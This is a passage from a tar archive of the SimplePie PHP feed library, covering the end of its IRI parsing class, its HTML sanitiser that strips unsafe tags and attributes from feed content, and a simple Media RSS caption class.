ord($string[$j])), $j, 1); $j += 2; $position += 2; $strlen += 2; } } } return $string; } /** * Callback function for preg_replace_callback. * * Removes sequences of percent encoded bytes that represent UTF-8 * encoded characters in iunreserved * * @param array $match PCRE match * @return string Replacement */ protected function remove_iunreserved_percent_encoded($match) { // As we just have valid percent encoded sequences we can just explode // and ignore the first member of the returned array (an empty string). $bytes = explode('%', $match[0]); // Initialize the new string (this is what will be returned) and that // there are no bytes remaining in the current sequence (unsurprising // at the first byte!). $string = ''; $remaining = 0; // Loop over each and every byte, and set $value to its value for ($i = 1, $len = count($bytes); $i < $len; $i++) { $value = hexdec($bytes[$i]); // If we're the first byte of sequence: if (!$remaining) { // Start position $start = $i; // By default we are valid $valid = true; // One byte sequence: if ($value <= 0x7F) { $character = $value; $length = 1; } // Two byte sequence: elseif (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $remaining = 0; } } // Continuation byte: else { // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $remaining--; $character |= ($value & 0x3F) << ($remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence: else { $valid = false; $remaining = 0; $i--; } } // If we've reached the end of the current byte sequence, append it to Unicode::$data if (!$remaining) { // Percent encode anything invalid or not in iunreserved if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of iunreserved codepoints || $character < 0x2D || $character > 0xEFFFD // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF // Everything else not in iunreserved (this is all BMP) || $character === 0x2F || $character > 0x39 && $character < 0x41 || $character > 0x5A && $character < 0x61 || $character > 0x7A && $character < 0x7E || $character > 0x7E && $character < 0xA0 || $character > 0xD7FF && $character < 0xF900 ) { for ($j = $start; $j <= $i; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } else { for ($j = $start; $j <= $i; $j++) { $string .= chr(hexdec($bytes[$j])); } } } } // If we have any bytes left over they are invalid (i.e., we are // mid-way through a multi-byte sequence) if ($remaining) { for ($j = $start; $j < $len; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } return $string; } protected function scheme_normalization() { if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) { $this->iuserinfo = null; } if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) { $this->ihost = null; } if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) { $this->port = null; } if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) { $this->ipath = ''; } if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) { $this->iquery = null; } if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) { $this->ifragment = null; } } /** * Check if the object represents a valid IRI. This needs to be done on each * call as some things change depending on another part of the IRI. * * @return bool */ public function is_valid() { if ($this->ipath === '') { return true; } $isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null; if ($isauthority && $this->ipath[0] === '/') { return true; } if (!$isauthority && (substr($this->ipath, 0, 2) === '//')) { return false; } // Relative urls cannot have a colon in the first path segment (and the // slashes themselves are not included so skip the first character). if (!$this->scheme && !$isauthority && strpos($this->ipath, ':') !== false && strpos($this->ipath, '/', 1) !== false && strpos($this->ipath, ':') < strpos($this->ipath, '/', 1)) { return false; } return true; } /** * Set the entire IRI. Returns true on success, false on failure (if there * are any invalid characters). * * @param string $iri * @return bool */ public function set_iri($iri, $clear_cache = false) { static $cache; if ($clear_cache) { $cache = null; return; } if (!$cache) { $cache = []; } if ($iri === null) { return true; } elseif (isset($cache[$iri])) { list($this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return) = $cache[$iri]; return $return; } $parsed = $this->parse_iri((string) $iri); if (!$parsed) { return false; } $return = $this->set_scheme($parsed['scheme']) && $this->set_authority($parsed['authority']) && $this->set_path($parsed['path']) && $this->set_query($parsed['query']) && $this->set_fragment($parsed['fragment']); $cache[$iri] = [$this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return]; return $return; } /** * Set the scheme. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $scheme * @return bool */ public function set_scheme($scheme) { if ($scheme === null) { $this->scheme = null; } elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) { $this->scheme = null; return false; } else { $this->scheme = strtolower($scheme); } return true; } /** * Set the authority. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $authority * @return bool */ public function set_authority($authority, $clear_cache = false) { static $cache; if ($clear_cache) { $cache = null; return; } if (!$cache) { $cache = []; } if ($authority === null) { $this->iuserinfo = null; $this->ihost = null; $this->port = null; return true; } elseif (isset($cache[$authority])) { list($this->iuserinfo, $this->ihost, $this->port, $return) = $cache[$authority]; return $return; } $remaining = $authority; if (($iuserinfo_end = strrpos($remaining, '@')) !== false) { $iuserinfo = substr($remaining, 0, $iuserinfo_end); $remaining = substr($remaining, $iuserinfo_end + 1); } else { $iuserinfo = null; } if (($port_start = strpos($remaining, ':', strpos($remaining, ']'))) !== false) { if (($port = substr($remaining, $port_start + 1)) === false) { $port = null; } $remaining = substr($remaining, 0, $port_start); } else { $port = null; } $return = $this->set_userinfo($iuserinfo) && $this->set_host($remaining) && $this->set_port($port); $cache[$authority] = [$this->iuserinfo, $this->ihost, $this->port, $return]; return $return; } /** * Set the iuserinfo. * * @param string $iuserinfo * @return bool */ public function set_userinfo($iuserinfo) { if ($iuserinfo === null) { $this->iuserinfo = null; } else { $this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:'); $this->scheme_normalization(); } return true; } /** * Set the ihost. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $ihost * @return bool */ public function set_host($ihost) { if ($ihost === null) { $this->ihost = null; return true; } elseif (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') { if (\SimplePie\Net\IPv6::check_ipv6(substr($ihost, 1, -1))) { $this->ihost = '[' . \SimplePie\Net\IPv6::compress(substr($ihost, 1, -1)) . ']'; } else { $this->ihost = null; return false; } } else { $ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;='); // Lowercase, but ignore pct-encoded sections (as they should // remain uppercase). This must be done after the previous step // as that can add unescaped characters. $position = 0; $strlen = strlen($ihost); while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) { if ($ihost[$position] === '%') { $position += 3; } else { $ihost[$position] = strtolower($ihost[$position]); $position++; } } $this->ihost = $ihost; } $this->scheme_normalization(); return true; } /** * Set the port. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $port * @return bool */ public function set_port($port) { if ($port === null) { $this->port = null; return true; } elseif (strspn($port, '0123456789') === strlen($port)) { $this->port = (int) $port; $this->scheme_normalization(); return true; } $this->port = null; return false; } /** * Set the ipath. * * @param string $ipath * @return bool */ public function set_path($ipath, $clear_cache = false) { static $cache; if ($clear_cache) { $cache = null; return; } if (!$cache) { $cache = []; } $ipath = (string) $ipath; if (isset($cache[$ipath])) { $this->ipath = $cache[$ipath][(int) ($this->scheme !== null)]; } else { $valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/'); $removed = $this->remove_dot_segments($valid); $cache[$ipath] = [$valid, $removed]; $this->ipath = ($this->scheme !== null) ? $removed : $valid; } $this->scheme_normalization(); return true; } /** * Set the iquery. * * @param string $iquery * @return bool */ public function set_query($iquery) { if ($iquery === null) { $this->iquery = null; } else { $this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true); $this->scheme_normalization(); } return true; } /** * Set the ifragment. * * @param string $ifragment * @return bool */ public function set_fragment($ifragment) { if ($ifragment === null) { $this->ifragment = null; } else { $this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?'); $this->scheme_normalization(); } return true; } /** * Convert an IRI to a URI (or parts thereof) * * @return string */ public function to_uri($string) { static $non_ascii; if (!$non_ascii) { $non_ascii = implode('', range("\x80", "\xFF")); } $position = 0; $strlen = strlen($string); while (($position += strcspn($string, $non_ascii, $position)) < $strlen) { $string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1); $position += 3; $strlen += 2; } return $string; } /** * Get the complete IRI * * @return string */ public function get_iri() { if (!$this->is_valid()) { return false; } $iri = ''; if ($this->scheme !== null) { $iri .= $this->scheme . ':'; } if (($iauthority = $this->get_iauthority()) !== null) { $iri .= '//' . $iauthority; } if ($this->ipath !== '') { $iri .= $this->ipath; } elseif (!empty($this->normalization[$this->scheme]['ipath']) && $iauthority !== null && $iauthority !== '') { $iri .= $this->normalization[$this->scheme]['ipath']; } if ($this->iquery !== null) { $iri .= '?' . $this->iquery; } if ($this->ifragment !== null) { $iri .= '#' . $this->ifragment; } return $iri; } /** * Get the complete URI * * @return string */ public function get_uri() { return $this->to_uri($this->get_iri()); } /** * Get the complete iauthority * * @return string */ protected function get_iauthority() { if ($this->iuserinfo !== null || $this->ihost !== null || $this->port !== null) { $iauthority = ''; if ($this->iuserinfo !== null) { $iauthority .= $this->iuserinfo . '@'; } if ($this->ihost !== null) { $iauthority .= $this->ihost; } if ($this->port !== null && $this->port !== 0) { $iauthority .= ':' . $this->port; } return $iauthority; } return null; } /** * Get the complete authority * * @return string */ protected function get_authority() { $iauthority = $this->get_iauthority(); if (is_string($iauthority)) { return $this->to_uri($iauthority); } return $iauthority; } } class_alias('SimplePie\IRI', 'SimplePie_IRI'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/Sanitize.php����������������������������������������������������������������������0000644�����������������00000055006�14757771437�0012446 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * Used for data cleanup and post-processing * * * This class can be overloaded with {@see \SimplePie\SimplePie::set_sanitize_class()} * * @package SimplePie * @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags */ class Sanitize { // Private vars public $base; // Options public $remove_div = true; public $image_handler = ''; public $strip_htmltags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style']; public $encode_instead_of_strip = false; public $strip_attributes = ['bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc']; public $rename_attributes = []; public $add_attributes = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']]; public $strip_comments = false; public $output_encoding = 'UTF-8'; public $enable_cache = true; public $cache_location = './cache'; public $cache_name_function = 'md5'; public $timeout = 10; public $useragent = ''; public $force_fsockopen = false; public $replace_url_attributes = null; public $registry; /** * List of domains for which to force HTTPS. * @see \SimplePie\Sanitize::set_https_domains() * Array is a tree split at DNS levels. Example: * array('biz' => true, 'com' => array('example' => true), 'net' => array('example' => array('www' => true))) */ public $https_domains = []; public function __construct() { // Set defaults $this->set_url_replacements(null); } public function remove_div($enable = true) { $this->remove_div = (bool) $enable; } public function set_image_handler($page = false) { if ($page) { $this->image_handler = (string) $page; } else { $this->image_handler = false; } } public function set_registry(\SimplePie\Registry $registry) { $this->registry = $registry; } public function pass_cache_data($enable_cache = true, $cache_location = './cache', $cache_name_function = 'md5', $cache_class = 'SimplePie\Cache') { if (isset($enable_cache)) { $this->enable_cache = (bool) $enable_cache; } if ($cache_location) { $this->cache_location = (string) $cache_location; } if ($cache_name_function) { $this->cache_name_function = (string) $cache_name_function; } } public function pass_file_data($file_class = 'SimplePie\File', $timeout = 10, $useragent = '', $force_fsockopen = false) { if ($timeout) { $this->timeout = (string) $timeout; } if ($useragent) { $this->useragent = (string) $useragent; } if ($force_fsockopen) { $this->force_fsockopen = (string) $force_fsockopen; } } public function strip_htmltags($tags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style']) { if ($tags) { if (is_array($tags)) { $this->strip_htmltags = $tags; } else { $this->strip_htmltags = explode(',', $tags); } } else { $this->strip_htmltags = false; } } public function encode_instead_of_strip($encode = false) { $this->encode_instead_of_strip = (bool) $encode; } public function rename_attributes($attribs = []) { if ($attribs) { if (is_array($attribs)) { $this->rename_attributes = $attribs; } else { $this->rename_attributes = explode(',', $attribs); } } else { $this->rename_attributes = false; } } public function strip_attributes($attribs = ['bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc']) { if ($attribs) { if (is_array($attribs)) { $this->strip_attributes = $attribs; } else { $this->strip_attributes = explode(',', $attribs); } } else { $this->strip_attributes = false; } } public function add_attributes($attribs = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']]) { if ($attribs) { if (is_array($attribs)) { $this->add_attributes = $attribs; } else { $this->add_attributes = explode(',', $attribs); } } else { $this->add_attributes = false; } } public function strip_comments($strip = false) { $this->strip_comments = (bool) $strip; } public function set_output_encoding($encoding = 'UTF-8') { $this->output_encoding = (string) $encoding; } /** * Set element/attribute key/value pairs of HTML attributes * containing URLs that need to be resolved relative to the feed * * Defaults to |a|@href, |area|@href, |audio|@src, |blockquote|@cite, * |del|@cite, |form|@action, |img|@longdesc, |img|@src, |input|@src, * |ins|@cite, |q|@cite, |source|@src, |video|@src * * @since 1.0 * @param array|null $element_attribute Element/attribute key/value pairs, null for default */ public function set_url_replacements($element_attribute = null) { if ($element_attribute === null) { $element_attribute = [ 'a' => 'href', 'area' => 'href', 'audio' => 'src', 'blockquote' => 'cite', 'del' => 'cite', 'form' => 'action', 'img' => [ 'longdesc', 'src' ], 'input' => 'src', 'ins' => 'cite', 'q' => 'cite', 'source' => 'src', 'video' => [ 'poster', 'src' ] ]; } $this->replace_url_attributes = (array) $element_attribute; } /** * Set the list of domains for which to force HTTPS. * @see \SimplePie\Misc::https_url() * Example array('biz', 'example.com', 'example.org', 'www.example.net'); */ public function set_https_domains($domains) { $this->https_domains = []; foreach ($domains as $domain) { $domain = trim($domain, ". \t\n\r\0\x0B"); $segments = array_reverse(explode('.', $domain)); $node =& $this->https_domains; foreach ($segments as $segment) {//Build a tree if ($node === true) { break; } if (!isset($node[$segment])) { $node[$segment] = []; } $node =& $node[$segment]; } $node = true; } } /** * Check if the domain is in the list of forced HTTPS. */ protected function is_https_domain($domain) { $domain = trim($domain, '. '); $segments = array_reverse(explode('.', $domain)); $node =& $this->https_domains; foreach ($segments as $segment) {//Explore the tree if (isset($node[$segment])) { $node =& $node[$segment]; } else { break; } } return $node === true; } /** * Force HTTPS for selected Web sites. */ public function https_url($url) { return (strtolower(substr($url, 0, 7)) === 'http://') && $this->is_https_domain(parse_url($url, PHP_URL_HOST)) ? substr_replace($url, 's', 4, 0) : //Add the 's' to HTTPS $url; } public function sanitize($data, $type, $base = '') { $data = trim($data); if ($data !== '' || $type & \SimplePie\SimplePie::CONSTRUCT_IRI) { if ($type & \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML) { if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE . '>)/', $data)) { $type |= \SimplePie\SimplePie::CONSTRUCT_HTML; } else { $type |= \SimplePie\SimplePie::CONSTRUCT_TEXT; } } if ($type & \SimplePie\SimplePie::CONSTRUCT_BASE64) { $data = base64_decode($data); } if ($type & (\SimplePie\SimplePie::CONSTRUCT_HTML | \SimplePie\SimplePie::CONSTRUCT_XHTML)) { if (!class_exists('DOMDocument')) { throw new \SimplePie\Exception('DOMDocument not found, unable to use sanitizer'); } $document = new \DOMDocument(); $document->encoding = 'UTF-8'; $data = $this->preprocess($data, $type); set_error_handler(['SimplePie\Misc', 'silence_errors']); $document->loadHTML($data); restore_error_handler(); $xpath = new \DOMXPath($document); // Strip comments if ($this->strip_comments) { $comments = $xpath->query('//comment()'); foreach ($comments as $comment) { $comment->parentNode->removeChild($comment); } } // Strip out HTML tags and attributes that might cause various security problems. // Based on recommendations by Mark Pilgrim at: // http://diveintomark.org/archives/2003/06/12/how_to_consume_rss_safely if ($this->strip_htmltags) { foreach ($this->strip_htmltags as $tag) { $this->strip_tag($tag, $document, $xpath, $type); } } if ($this->rename_attributes) { foreach ($this->rename_attributes as $attrib) { $this->rename_attr($attrib, $xpath); } } if ($this->strip_attributes) { foreach ($this->strip_attributes as $attrib) { $this->strip_attr($attrib, $xpath); } } if ($this->add_attributes) { foreach ($this->add_attributes as $tag => $valuePairs) { $this->add_attr($tag, $valuePairs, $document); } } // Replace relative URLs $this->base = $base; foreach ($this->replace_url_attributes as $element => $attributes) { $this->replace_urls($document, $element, $attributes); } // If image handling (caching, etc.) is enabled, cache and rewrite all the image tags. if (isset($this->image_handler) && ((string) $this->image_handler) !== '' && $this->enable_cache) { $images = $document->getElementsByTagName('img'); foreach ($images as $img) { if ($img->hasAttribute('src')) { $image_url = call_user_func($this->cache_name_function, $img->getAttribute('src')); $cache = $this->registry->call('Cache', 'get_handler', [$this->cache_location, $image_url, 'spi']); if ($cache->load()) { $img->setAttribute('src', $this->image_handler . $image_url); } else { $file = $this->registry->create('File', [$img->getAttribute('src'), $this->timeout, 5, ['X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']], $this->useragent, $this->force_fsockopen]); $headers = $file->headers; if ($file->success && ($file->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300))) { if ($cache->save(['headers' => $file->headers, 'body' => $file->body])) { $img->setAttribute('src', $this->image_handler . $image_url); } else { trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING); } } } } } } // Get content node $div = $document->getElementsByTagName('body')->item(0)->firstChild; // Finally, convert to a HTML string $data = trim($document->saveHTML($div)); if ($this->remove_div) { $data = preg_replace('/^<div' . \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE . '>/', '', $data); $data = preg_replace('/<\/div>$/', '', $data); } else { $data = preg_replace('/^<div' . \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE . '>/', '<div>', $data); } $data = str_replace('</source>', '', $data); } if ($type & \SimplePie\SimplePie::CONSTRUCT_IRI) { $absolute = $this->registry->call('Misc', 'absolutize_url', [$data, $base]); if ($absolute !== false) { $data = $absolute; } } if ($type & (\SimplePie\SimplePie::CONSTRUCT_TEXT | \SimplePie\SimplePie::CONSTRUCT_IRI)) { $data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8'); } if ($this->output_encoding !== 'UTF-8') { $data = $this->registry->call('Misc', 'change_encoding', [$data, 'UTF-8', $this->output_encoding]); } } return $data; } protected function preprocess($html, $type) { $ret = ''; $html = preg_replace('%</?(?:html|body)[^>]*?'.'>%is', '', $html); if ($type & ~\SimplePie\SimplePie::CONSTRUCT_XHTML) { // Atom XHTML constructs are wrapped with a div by default // Note: No protection if $html contains a stray </div>! $html = '<div>' . $html . '</div>'; $ret .= '<!DOCTYPE html>'; $content_type = 'text/html'; } else { $ret .= '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">'; $content_type = 'application/xhtml+xml'; } $ret .= '<html><head>'; $ret .= '<meta http-equiv="Content-Type" content="' . $content_type . '; charset=utf-8" />'; $ret .= '</head><body>' . $html . '</body></html>'; return $ret; } public function replace_urls($document, $tag, $attributes) { if (!is_array($attributes)) { $attributes = [$attributes]; } if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags)) { $elements = $document->getElementsByTagName($tag); foreach ($elements as $element) { foreach ($attributes as $attribute) { if ($element->hasAttribute($attribute)) { $value = $this->registry->call('Misc', 'absolutize_url', [$element->getAttribute($attribute), $this->base]); if ($value !== false) { $value = $this->https_url($value); $element->setAttribute($attribute, $value); } } } } } } public function do_strip_htmltags($match) { if ($this->encode_instead_of_strip) { if (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) { $match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8'); $match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8'); return "<$match[1]$match[2]>$match[3]</$match[1]>"; } else { return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8'); } } elseif (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) { return $match[4]; } else { return ''; } } protected function strip_tag($tag, $document, $xpath, $type) { $elements = $xpath->query('body//' . $tag); if ($this->encode_instead_of_strip) { foreach ($elements as $element) { $fragment = $document->createDocumentFragment(); // For elements which aren't script or style, include the tag itself if (!in_array($tag, ['script', 'style'])) { $text = '<' . $tag; if ($element->hasAttributes()) { $attrs = []; foreach ($element->attributes as $name => $attr) { $value = $attr->value; // In XHTML, empty values should never exist, so we repeat the value if (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_XHTML)) { $value = $name; } // For HTML, empty is fine elseif (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_HTML)) { $attrs[] = $name; continue; } // Standard attribute text $attrs[] = $name . '="' . $attr->value . '"'; } $text .= ' ' . implode(' ', $attrs); } $text .= '>'; $fragment->appendChild(new \DOMText($text)); } $number = $element->childNodes->length; for ($i = $number; $i > 0; $i--) { $child = $element->childNodes->item(0); $fragment->appendChild($child); } if (!in_array($tag, ['script', 'style'])) { $fragment->appendChild(new \DOMText('</' . $tag . '>')); } $element->parentNode->replaceChild($fragment, $element); } return; } elseif (in_array($tag, ['script', 'style'])) { foreach ($elements as $element) { $element->parentNode->removeChild($element); } return; } else { foreach ($elements as $element) { $fragment = $document->createDocumentFragment(); $number = $element->childNodes->length; for ($i = $number; $i > 0; $i--) { $child = $element->childNodes->item(0); $fragment->appendChild($child); } $element->parentNode->replaceChild($fragment, $element); } } } protected function strip_attr($attrib, $xpath) { $elements = $xpath->query('//*[@' . $attrib . ']'); foreach ($elements as $element) { $element->removeAttribute($attrib); } } protected function rename_attr($attrib, $xpath) { $elements = $xpath->query('//*[@' . $attrib . ']'); foreach ($elements as $element) { $element->setAttribute('data-sanitized-' . $attrib, $element->getAttribute($attrib)); $element->removeAttribute($attrib); } } protected function add_attr($tag, $valuePairs, $document) { $elements = $document->getElementsByTagName($tag); foreach ($elements as $element) { foreach ($valuePairs as $attrib => $value) { $element->setAttribute($attrib, $value); } } } } class_alias('SimplePie\Sanitize', 'SimplePie_Sanitize'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/Caption.php�����������������������������������������������������������������������0000644�����������������00000011516�14757771437�0012253 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * Handles `<media:text>` captions as defined in Media RSS. * * Used by {@see \SimplePie\Enclosure::get_caption()} and {@see \SimplePie\Enclosure::get_captions()} * * This class can be overloaded with {@see \SimplePie\SimplePie::set_caption_class()} * * @package SimplePie * @subpackage API */ class Caption { /** * Content type * * @var string * @see get_type() */ public $type; /** * Language * * @var string * @see get_language() */ public $lang; /** * Start time * * @var string * @see get_starttime() */ public $startTime; /** * End time * * @var string * @see get_endtime() */ public $endTime; /** * Caption text * * @var string * @see get_text() */ public $text; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($type = null, $lang = null, $startTime = null, $endTime = null, $text = null) { $this->type = $type; $this->lang = $lang; $this->startTime = $startTime; $this->endTime = $endTime; $this->text = $text; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the end time * * @return string|null Time in the format 'hh:mm:ss.SSS' */ public function get_endtime() { if ($this->endTime !== null) { return $this->endTime; } return null; } /** * Get the language * * @link http://tools.ietf.org/html/rfc3066 * @return string|null Language code as per RFC 3066 */ public function get_language() { if ($this->lang !== null) { return $this->lang; } return null; } /** * Get the start time * * @return string|null Time in the format 'hh:mm:ss.SSS' */ public function get_starttime() { if ($this->startTime !== null) { return $this->startTime; } return null; } /** * Get the text of the caption * * @return string|null */ public function get_text() { if ($this->text !== null) { return $this->text; } return null; } /** * Get the content type (not MIME type) * * @return string|null Either 'text' or 'html' */ public function get_type() { if ($this->type !== null) { return $this->type; } return null; } } class_alias('SimplePie\Caption', 'SimplePie_Caption'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/autoloader.php������������������������������������������������������������������������0000644�����������������00000007736�14757771437�0012237 